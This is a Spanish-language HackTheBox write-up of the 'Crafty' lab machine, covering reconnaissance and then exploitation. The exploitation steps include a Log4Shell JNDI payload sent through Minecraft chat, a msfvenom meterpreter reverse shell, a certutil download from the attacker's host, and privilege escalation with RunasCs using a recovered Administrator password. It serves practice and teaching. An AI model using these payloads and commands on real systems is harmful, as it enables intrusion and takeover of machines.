> For the complete documentation index, see [llms.txt](https://dcollao.gitbook.io/my-pentest-book/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-crafty.md).

# HTB - Crafty

https\://app.hackthebox.com/machines/Crafty

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/HWQ2Y6xxbFudWcm5iLZc/Crafty.png" alt=""><figcaption></figcaption></figure>

### Información General

* **Nombre de la Máquina: Crafty**
* **IP de la Máquina:**  10.10.11.249
* **Sistema Operativo: Windows**
* **Dificultad: Easy**
* **Fecha de Publicación:  10-02-2024**

***

## Enumeration

#### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.10.11.249 -R
```

#### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable:

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.249 -oG allPorts
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/gWxiXyLpR4EKyfGu9OqK/image.png" alt=""><figcaption></figcaption></figure>

**Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -p80,25565 10.10.11.249 -oN targeted
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/uOYkinapLAokJRHDiozi/image.png" alt=""><figcaption></figcaption></figure>

#### Modificando /etc/hosts

Para añadir la entrada "10.10.11.249 crafty.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

```bash
echo "10.10.11.249 crafty.htb" | sudo tee -a /etc/hosts
```

Este comando añade la dirección IP `10.10.11.249` asociada al nombre de host `crafty.htb` al archivo `/etc/hosts` de tu sistema.

#### Análisis de sitio web con WhatWeb

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/vrkNajGVkEHuK1YbpAOr/image.png" alt=""><figcaption></figcaption></figure>

### Descubrimiento de directorios

\
En la fase de descubrimiento de directorios, se utilizan herramientas como WFuzz y Dirsearch para identificar posibles puntos de entrada o recursos ocultos en el sitio web objetivo.

El comando utilizado fue:

{% code overflow="wrap" %}

```bash
#Partimos con mi favorito dirsearch
dirsearch -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

#Otro wordlist que vale la pena revisar.
gobuster dir -u http://crafty.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/VuvGdXbgXonogTHDsTr3/image.png" alt=""><figcaption></figcaption></figure>

Lamentablemente no pillo nada util, por lo que entro a la pagina web desde Firefox:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/d2PLZXestBM6dyV3EUn4/image.png" alt=""><figcaption></figcaption></figure>

Agregamos la ruta `play.crafty.htb` pero redirecciona asi que no pillamos nada.

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>echo "10.10.11.249 play.crafty.htb" | sudo tee -a /etc/hosts
</strong></code></pre>

### Escaneo de Vulnerabilidades

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Z4uWsGQKAGvnxeXR0dtZ/image.png" alt=""><figcaption></figcaption></figure>

Ya cuando se me agotaban las ideas decidì instalar Minecraft 1.16.5, ya que curiosamente puse en Google, "Minecraft 1.16.5 exploit" y me encontré con algo interesante.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Dq9vtbwnMYOGMVcns4P5/image.png" alt=""><figcaption></figcaption></figure>

Por lo que decido instalar la version 1.16.5 en mi maquina kali con TLauncher  (hay mejores formas como pyCraft pero ya demasiado tarde lo hice así ):rofl:.\
Investigando Log4J  (<https://github.com/kozmer/log4j-shell-poc>)

```bash
sudo java -jar TLauncher-2.895.jar
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/2vEJTakaenxAZcD9Xpcl/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/9OefAQ8uECVz6erXSYK4/image.png" alt=""><figcaption></figcaption></figure>

En el README.md de [https://github.com/kozmer/log4j-shel](https://github.com/kozmer/log4j-shell-poc)[l-poc](https://github.com/kozmer/log4j-shell-poc), podemos ver que se necesita descargar una version en específico de JAVA para el exploit. Por lo que la descargamos en <https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html>.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/iK4uR4paY3AEP8PqpnWZ/image.png" alt=""><figcaption></figcaption></figure>

### Explotación

Procedemos a ejecutar el exploit,  por cierto modifcamos el poc.py para que sea para windows ("cmd.exe").

```
sudo python3 poc.py --userip 10.10.14.17 --webport 80 --lport 6666
```

Mientras dejamos en escucha nuestro nc al mismo puerto que utilizamos en el exploit. Como dice en el exploit debemos enviar desde el chat de minecraft `${jndi:ldap://10.10.14.17:1389/a}`

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/5ysJrYRwFfizJCiaBTRo/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/74wgtHgR6O9xTJa7eDxt/image.png" alt=""><figcaption></figcaption></figure>

### Escalada de Privilegios

Como vamos a querer descargar archivos y cosas así no podremos desde esta shell por lo que intentaremos  establecer conexión con una shell hecha por metasploit.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/5oe1aB23GmvUsyS0a0P2/image.png" alt=""><figcaption></figcaption></figure>

Creamos nuestro reverse shell, se llamara expl.exe (por defecto)

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o expl.exe
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/baI011JIKKuEq0xSNVPu/image.png" alt=""><figcaption></figcaption></figure>

Luego desde msfconsole configuramos el metasploit.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/LxTKQuOWqyz9f6MkauDi/image.png" alt=""><figcaption></figcaption></figure>

El ultimo paso era subir un servidor Python en el mismo directorio donde teniamos nuestro expl.exe generado por mfsvenom. Para luego descargarlo desde nuestro equipo victima.

{% code overflow="wrap" %}

```bash
certutil -urlcache -f http://10.10.14.17:8888/expl.exe %temp%/expl.exe
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/eb6TEVU223N78QMtxuVi/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/x9tBl2WVzuorecP9aBiW/image.png" alt=""><figcaption></figcaption></figure>

Ahora si tenemos la capacidad de poder descargar archivos, por lo que descargamos el .jar.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/B2gYMPmGBsS8fnYTXCkZ/image.png" alt=""><figcaption></figcaption></figure>

Para abrirlo debemos utilizar jd.gui.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Ueui1EPxmXMothXXiiYr/image.png" alt=""><figcaption></figcaption></figure>

Nos encontramos con unas credenciales:

```
s67u84zKq8IXw
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/zWqZJ0Yn0fh8C0Ui4oyW/image.png" alt=""><figcaption></figcaption></figure>

Seguimos, utilizando RunasCS version 1.5. Para ello lo descargamos de <https://github.com/antonioCoco/RunasCs>, además tendremos que crear otro expl2.exe con msfvenom:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/2LvfFceTNWBAAmUNx8Zw/image.png" alt=""><figcaption></figcaption></figure>

Luego desde nuestra sesión de meterpreter subimos nuestro archivo expl2.exe y RunasCs.exe a server/logs:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/T6JksCWXv2xIz9A3F1L7/image.png" alt=""><figcaption></figcaption></figure>

Por ultimo utilizamos nuestro RunasCs.exe para ejecutar el expl2.exe con las credenciales obtenidas.

```
.\RunasCs.exe Administrator s67u84zKq8IXw expl2.exe
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/EEV0dizCNLCD57DtZLpg/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/cmZ9o6R8scS7riesKAsR/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/cglK6S1dovjhzfTTuRTe/image.png" alt=""><figcaption></figcaption></figure>

Aquí tenemos la flag del root :tada:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/axa8Vd0AxNY4z4SEv2W4/image.png" alt=""><figcaption></figcaption></figure>

### Conclusión

La verdad fue una maquina fuera de lo común, no encontraba nada en el Enumeration, por lo que Googlee un poco y vi que realmente había que meterse a jugar, y bueno la version del Minecraft tenía este exploit y valía la pena intentarlo y aprenderlo, buena máquina para salir de lo cotidiano, además divertido como tocó hacer la escala de privilegios, soy muy novato con Metasploit por lo que fue un desafio para mi.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/audptIo9bccQHIzO6ohz/image.png" alt=""><figcaption></figcaption></figure>

Referencias

{% embed url="<https://github.com/antonioCoco/RunasCs>" %}

{% embed url="<https://github.com/kozmer/log4j-shell-poc>" %}
